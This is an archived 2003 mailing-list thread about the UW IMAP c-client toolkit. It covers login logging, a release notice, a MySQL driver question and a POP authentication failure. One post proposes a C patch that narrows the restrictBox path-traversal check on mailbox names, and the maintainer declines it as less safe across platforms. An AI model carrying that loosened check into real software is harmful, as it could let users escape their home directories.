Jan 2003 18:49:47 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: Logging plaintext logins? (SSLTYPE=unix -> nopwd transition) In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: rcgraves@imap.staff.brandeis.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Jan 2003, Mark Crispin wrote: > If the syslog() says "Authenticated" then the user used SASL. It is a > simple hack to the syslog() in imapd.c (search for "Authenticated user") > to include the SASL mechanism name (which should still be pointed to by > variable "s"). > > SASL mechanisms LOGIN and PLAIN are plaintext and would not be allowed by OK, that does most of it. I will log tcp_serverport in the same place (993/995 are ssl) so my log parser doesn't have to be stateful. How would I know if a client on 143/110 has negotiated STARTTLS, though? There shouldn't be many of these because up until very recently we were running under a inetd/tcpd setup that breaks STARTTLS (as mentioned in the FAQ), but it'd be nice to know. > > I could go to imap-2002 if it would make this easier, but I'm trying to > > play nice with future sysadmins by making maximum use of RedHat packages. > > I think that imap-2002 would make things easier since it has a year of > bugfixes and enhancements over imap-2001. imap-2002b is being released > later today. I don't know what RedHat may have changed though. RedHat is actually changing very little nowadays, and only one of their patches is clearly wrong (lockEaccesError = NIL, which doesn't affect us). I guess I'm more concerned with how bugfixes might interact poorly with inherited client or server bugs. Fixes to locale could theoretically break access to saved mailboxes in non-us locales, for exapmple. Anyway, at 2001.315 plus bodystructure-extension and \015 overflow patches we seem to be 2 builds ahead of your own deskmail server... :-) From pinedev@shivax2.cac.washington.edu Thu Jan 9 16:06:14 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Jan 2003 16:06:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A06E2U008620 for ; Thu, 9 Jan 2003 16:06:14 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A06Bqe022474 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Jan 2003 16:06:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0A05709015576; Thu, 9 Jan 2003 16:05:07 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A02xCK023116 for ; Thu, 9 Jan 2003 16:03:00 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A02wHA021070 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 9 Jan 2003 16:02:58 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A02ubL013430; Thu, 9 Jan 2003 16:02:56 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A02uEo030505 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 9 Jan 2003 16:02:56 -0800 Message-Id: Date: Thu, 9 Jan 2003 16:00:52 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: Re: Logging plaintext logins? (SSLTYPE=unix -> nopwd transition) In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 9 Jan 2003, Rich Graves wrote: > How would I know if a client on 143/110 has negotiated STARTTLS, though? > There shouldn't be many of these because up until very recently we were > running under a inetd/tcpd setup that breaks STARTTLS (as mentioned in the > FAQ), but it'd be nice to know. Well, you could add a log when STARTTLS is negotiated... > RedHat is actually changing very little nowadays, and only one of their > patches is clearly wrong (lockEaccesError = NIL, which doesn't affect us). Sheesh, are they still doing that? No wonder I am getting these occasional reports of corrupted mail from RedHat users. > I guess I'm more concerned with how bugfixes might interact poorly with > inherited client or server bugs. Fixes to locale could theoretically break > access to saved mailboxes in non-us locales, for exapmple. We would not be doing any local hacking in the IMAP toolkit. It has its own i18n facilities. > Anyway, at 2001.315 plus bodystructure-extension and \015 overflow patches > we seem to be 2 builds ahead of your own deskmail server... :-) I don't directly have anything to do with deskmail. Supposedly, they are going to update their system. What is this "\015 overflow patch" that you're talking about? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jan 9 17:43:41 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Jan 2003 17:43:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A1he2U011974 for ; Thu, 9 Jan 2003 17:43:40 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A1hbqe025418 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Jan 2003 17:43:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0A1gull021608; Thu, 9 Jan 2003 17:42:56 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A1elCK030874 for ; Thu, 9 Jan 2003 17:40:48 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A1eiBo025839 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Thu, 9 Jan 2003 17:40:46 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A1ehHh009612 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 9 Jan 2003 17:40:43 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A1egUR032333; Thu, 9 Jan 2003 17:40:42 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0A1egEo004338 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 9 Jan 2003 17:40:42 -0800 Message-Id: Date: Thu, 9 Jan 2003 17:38:31 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: IMAP toolkit 2002b (imap-2002b) is now available MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report="SPAM_PHRASE_03_05, USER_AGENT_PINE" This note is to announce the availability of the University of Washington IMAP toolkit version 2002b. This release does not introduce major new functionality. Instead, it addresses bugs found in earlier versions. Source code for the latest IMAP toolkit release is available at: ftp://ftp.cac.washington.edu/imap/imap.tar.Z (MD5: 0da8616dec7d49cba860aeae43d966b4) As with all IMAP toolkit releases, it is important that you carefully test and determine for yourself that it performs suitably in your environment before placing software based upon this version into production use. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Fri Jan 10 12:00:12 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Jan 2003 12:00:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0AK0C2U007982 for ; Fri, 10 Jan 2003 12:00:12 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0AK03Hh002038 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 10 Jan 2003 12:00:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0AJxIll019310; Fri, 10 Jan 2003 11:59:19 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0AJutCK021060 for ; Fri, 10 Jan 2003 11:56:55 -0800 Received: from pengo.cc.purdue.edu (pengo.cc.purdue.edu [128.210.11.199]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0AJurCh015240 for ; Fri, 10 Jan 2003 11:56:53 -0800 Received: from pengo.cc.purdue.edu (localhost.localdomain [127.0.0.1]) by pengo.cc.purdue.edu (8.12.5/8.12.5) with ESMTP id h0AJuqUL017153; Fri, 10 Jan 2003 14:56:52 -0500 Received: from localhost (halsema@localhost) by pengo.cc.purdue.edu (8.12.5/8.12.5/Submit) with ESMTP id h0AJuqfi017150; Fri, 10 Jan 2003 14:56:52 -0500 Message-Id: Date: Fri, 10 Jan 2003 14:56:52 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dave Halsema To: c-client@u.washington.edu Subject: restrictBox bug? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: pengo.cc.purdue.edu: halsema owned process doing -bs X-X-Sender: halsema@pengo.cc.purdue.edu X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I believe I may have found a bug in mailboxfile() when the restrictBox option is enabled in the imap-2002[ab] distribution. With restrictBox active, it is not possible to select mailboxes when the name contain two periods, such as: mail/foo..bar mail/foo...bar It looks like the check to keep people in their home directory may be a bit overzealous. If I am correct, then the conditions which would allow people to "escape" out of their home directory are: - If the mailbox name begins with "../" - If the mailbox name ends with "/.." (necessary?, pointless?) - If the mailbox name contains "/../" Given these assumptions, I've modified the start of mailboxfile() for a possible patch, but I will defer to Mark Crispin to confirm that this is indeed a bug, and the best/correct way to fix it. BEFORE -------------------- /* Return mailbox file name * Accepts: destination buffer * mailbox name * Returns: file name or empty string for driver-selected INBOX or NIL if error */ char *mailboxfile (char *dst,char *name) { struct passwd *pw; char *s; if (!name || !*name || (*name == '{') || (strlen (name) > NETMAXMBX) || ((anonymous || blackBox || restrictBox || (*name == '#')) && (strstr (name,"..") || strstr (name,"//") || strstr (name,"/~")))) dst = NIL; /* invalid name */ AFTER -------------------- /* Return mailbox file name * Accepts: destination buffer * mailbox name * Returns: file name or empty string for driver-selected INBOX or NIL if error */ char *mailboxfile (char *dst,char *name) { struct passwd *pw; char *s; if (!name || !*name || (*name == '{') || (strlen (name) > NETMAXMBX) || ((anonymous || blackBox || restrictBox || (*name == '#')) && (strstr (name,"/../") || (strncmp(name, "../", 3) == 0) || (strncmp((name + strlen(name) - 3), "/..", 3) == 0) || strstr (name,"//") || strstr (name,"/~")))) dst = NIL; /* invalid name */ I don't know how hard it would be to implement, but it might be nice if mailbox names starting with the following were valid with restrictBox enabled. ~/ / Example: If my username is halsema, then the following could be selectable mailbox names. ~halsema/foobar ~halsema/mail/foobar /home/halsema/foobar /home/halsema/mail/foobar Thanks! -Dave -- David A. Halsema Purdue University IT Computing Services halsema@purdue.edu -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 10 12:42:22 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Jan 2003 12:42:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0AKgM2U009834 for ; Fri, 10 Jan 2003 12:42:22 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0AKgJqe019510 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 10 Jan 2003 12:42:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0AKfcDb095866; Fri, 10 Jan 2003 12:41:39 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0AKdgCK023500 for ; Fri, 10 Jan 2003 12:39:42 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0AKdeCb008713 for ; Fri, 10 Jan 2003 12:39:40 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id MAA12742; Fri, 10 Jan 2003 12:39:36 -0800 (PST) Message-Id: Date: Fri, 10 Jan 2003 12:03:35 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dave Halsema Cc: c-client@u.washington.edu Subject: re: restrictBox bug? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is intentional that all names with ".." in them are prohibited under restrictBox conditions. This restriction is, as you noted, a bit excessive for pure UNIX systems. But this code, even in a UNIX-only port, does not only run on pure UNIX systems; there's Cygwin as a current example. Your patch is safe on Cygwin, but will it always be? I've taken the position of "better to be safe than sorry." It's easier to have (and explain) an absolute prohibition on ".." than to have an ever more complex determination of what is "safe" and what is "unsafe". Of course, you can always apply your patch for your site, and it's probably fine for you. That's why I provide sources, and that is why env_unix.c is specifically identified as a source code module that people may want to patch (and why that routine is in that file). > I don't know how hard it would be to implement, but it might be > nice if mailbox names starting with the following were valid with > restrictBox enabled. That's already there, although it depends upon how you set restrictBox. It won't work if you set RESTRICTOTHERUSER in restrictBox. From pinedev@shivax2.cac.washington.edu Wed Jan 15 12:07:31 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Jan 2003 12:07:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0FK7UTk022734 for ; Wed, 15 Jan 2003 12:07:31 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0FK7Q1k029029 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 15 Jan 2003 12:07:27 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0FK6Ujm026710; Wed, 15 Jan 2003 12:06:30 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0FK1qCK024444 for ; Wed, 15 Jan 2003 12:01:52 -0800 Received: from mail.billmax.com (132.muf50.dlls.dlbtx01r1.dsl.att.net [12.103.50.132]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0FK1nZX009474 for ; Wed, 15 Jan 2003 12:01:49 -0800 Received: from billmax.com (130.muf50.dlls.dlbtx01r1.dsl.att.net [12.103.50.130]) by mail.billmax.com (8.12.6/8.12.6) with ESMTP id h0FK5IBn020848 for ; Wed, 15 Jan 2003 14:05:18 -0600 Message-Id: <3E25B019.19C1FEA9@billmax.com> Date: Wed, 15 Jan 2003 13:01:46 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bill Schoolfield To: c-client@u.washington.edu Subject: seeking input on developing mysql based driver (message store) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report="SPAM_PHRASE_02_03, X_ACCEPT_LANG, __EVITE_CTYPE" X-Uwash-Spam: Gauge=III, Probability=3%, Report="NOSPAM_INC, SPAM_PHRASE_02_03, USER_AGENT_MOZILLA_XM, X_ACCEPT_LANG, __EVITE_CTYPE, __HAS_X_MAILER" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi everyone, I'm looking into the possibility of integrating UW's imapd server with our Billing and Customer Care system known as BillMax. More specifically, I want to replace our existing trouble ticket with imapd using a MySQL database and our schema as the message store. My thought is to: 1) Write a driver based on mbx that uses our database as the message store. 2) Modify imapd to examine incoming email to do the lookups for the purpose of determining where to store (in the schema) the message. In the case of a new ticket, a new ticket number would be assigned and the stored message header would be modified in some way (probably encoded in the subject line) to contain this ticket number. A acknowledgment email would then be sent to the originator of the incoming email. The ticket number would be used thereafter to append the incoming correspondence to the appropriate folder. There will be a one to one correspondence between a particular ticket and a folder. Ticket/folders will belong to a folder that's either the originators email address or the date the ticket was received. Since the messages are stored in the database, the parent folder is virtual (e.g. just a column's value in the table where the messages are stored.) 3) In our application, when a ticket is closed, have some way of hiding or un-subscribing the ticket/folder from the imap client so that the clients view doesn't become unmanageable. How can this be modeled w/existing imap protocol? 4) The trouble tickets would be managed in the call center using standard imap clients. Status changes and the like would be done via our application. There's quite a bit more functionality but the above covers most of what's needed in imapd. My questions are: Has anybody done this? (if so, would you provide example code?) Can you see any pitfalls in this? What about file locking, is that even a consideration for the new driver? How extensive are the required changes? Thanks in advance for you comments. Bill -- The iSpark Group, Inc. dba BillMax Billing Solutions Suite 210 6737 Brentwood Stair Rd. Fort Worth TX 76112 817.446.7776 (Phone) 817.446.7773 (Fax) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 15 18:59:08 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Jan 2003 18:59:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0G2x7Tk006082 for ; Wed, 15 Jan 2003 18:59:07 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0G2x21k010137 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 15 Jan 2003 18:59:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0G2wJ09030990; Wed, 15 Jan 2003 18:58:19 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0G2u8CK017920 for ; Wed, 15 Jan 2003 18:56:08 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0G2u5tw005538 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 15 Jan 2003 18:56:05 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0G2u2rD008122; Wed, 15 Jan 2003 18:56:02 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0G2u1TZ006422 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 15 Jan 2003 18:56:01 -0800 Message-Id: Date: Wed, 15 Jan 2003 18:54:01 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Bill Schoolfield Cc: c-client@u.washington.edu Subject: Re: seeking input on developing mysql based driver (message store) In-Reply-To: <3E25B019.19C1FEA9@billmax.com> References: <3E25B019.19C1FEA9@billmax.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN A number of people have talking about using a MySQL database with imapd. It's pretty easy to do a first order implementation, but more advanced implementations (such as implementing a msgdata method) are harder. File locking is an issue only if your driver makes it an issue. Basically, you have to consider "what happens if some other process does something to the mailbox while I am doing something with it?" That, in turn, leads you to if you need locking, and what type of locking you need. As for hiding the ticket, I would recommend using some keyword flag, such as "CLOSED", to mark the message as being closed. This assumes that your client knows about keyword flags. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jan 16 09:51:45 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jan 2003 09:51:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GHpjTk030448 for ; Thu, 16 Jan 2003 09:51:45 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GHpeeG011745 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Jan 2003 09:51:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0GHnVjm040522; Thu, 16 Jan 2003 09:49:31 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GHjNCK029102 for ; Thu, 16 Jan 2003 09:45:23 -0800 Received: from jimsun.LinxNet.com (jimsun.linxnet.com [64.32.196.134]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GHjLtv029555 for ; Thu, 16 Jan 2003 09:45:22 -0800 Received: by jimsun.LinxNet.com (Postfix, from userid 332) id 3B71542EB; Thu, 16 Jan 2003 12:45:21 -0500 (EST) Message-Id: <20030116174521.3B71542EB@jimsun.LinxNet.com> Date: Thu, 16 Jan 2003 12:45:21 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: jseymour@LinxNet.com (Jim Seymour) To: c-client@u.washington.edu Subject: ipop[23]d and NIS+? X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=X, Probability=10%, Report="SPAM_PHRASE_00_01" Hi There, We are running Sparc Solaris 2.5.1 and using NIS+. I just built and installed imap-2002b at work. /etc/services, services.org_dir and /etc/inetd.conf all set. imapd, ipop[23]d in place with ownerships and perms all good. Yet when somebody on a POP client (happens to be Pegasus) tried to fetch their email, they got an "invalid password" type response from the uw-imap POP daemon. Any ideas? Thanks, Jim -- Jim Seymour | PGP Public Key available at: jseymour@LinxNet.com | http://www.uk.pgp.net/pgpnet/pks-commands.html http://jimsun.LinxNet.com | -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 16 12:04:51 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Jan 2003 12:04:51 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GK4oTk004602 for ; Thu, 16 Jan 2003 12:04:50 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GK4g1k004603 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 16 Jan 2003 12:04:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with SMTP id h0GK2Nll016848; Thu, 16 Jan 2003 12:02:24 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GJwgCK025422 for ; Thu, 16 Jan 2003 11:58:42 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GJweVb016072 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 16 Jan 2003 11:58:40 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GJwZ7l024765; Thu, 16 Jan 2003 11:58:35 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h0GJwZup031103 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 16 Jan 2003 11:58:35 -0800 Message-Id: Date: Thu, 16 Jan 2003 11:56:35 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jim Seymour Cc: c-client@u.washington.edu Subject: Re: ipop[23]d and NIS+? In-Reply-To: <20030116174521.3B71542EB@jimsun.LinxNet.com> References: <20030116174521.3B71542EB@jimsun.LinxNet.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 16 Jan 2003, Jim Seymour wrote: > I just built and installed imap-2002b at work. /etc/services, > services.org_dir and /etc/inetd.conf all set. imapd, ipop[23]d in > place with ownerships and perms all good. > > Yet when somebody on a POP client (happens to be Pegasus) tried to > fetch their email, they got an "invalid password" type response from > the uw-imap POP daemon. If Pegasus is not using SSL or TLS encryption, that is probably the problem; the default build does not allow plaintext password authentication except in SSL or TLS encrypted sessions. If you gave the exact text of the error message from the server, it'd be possible to determine this for sure. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Thu Jan 16 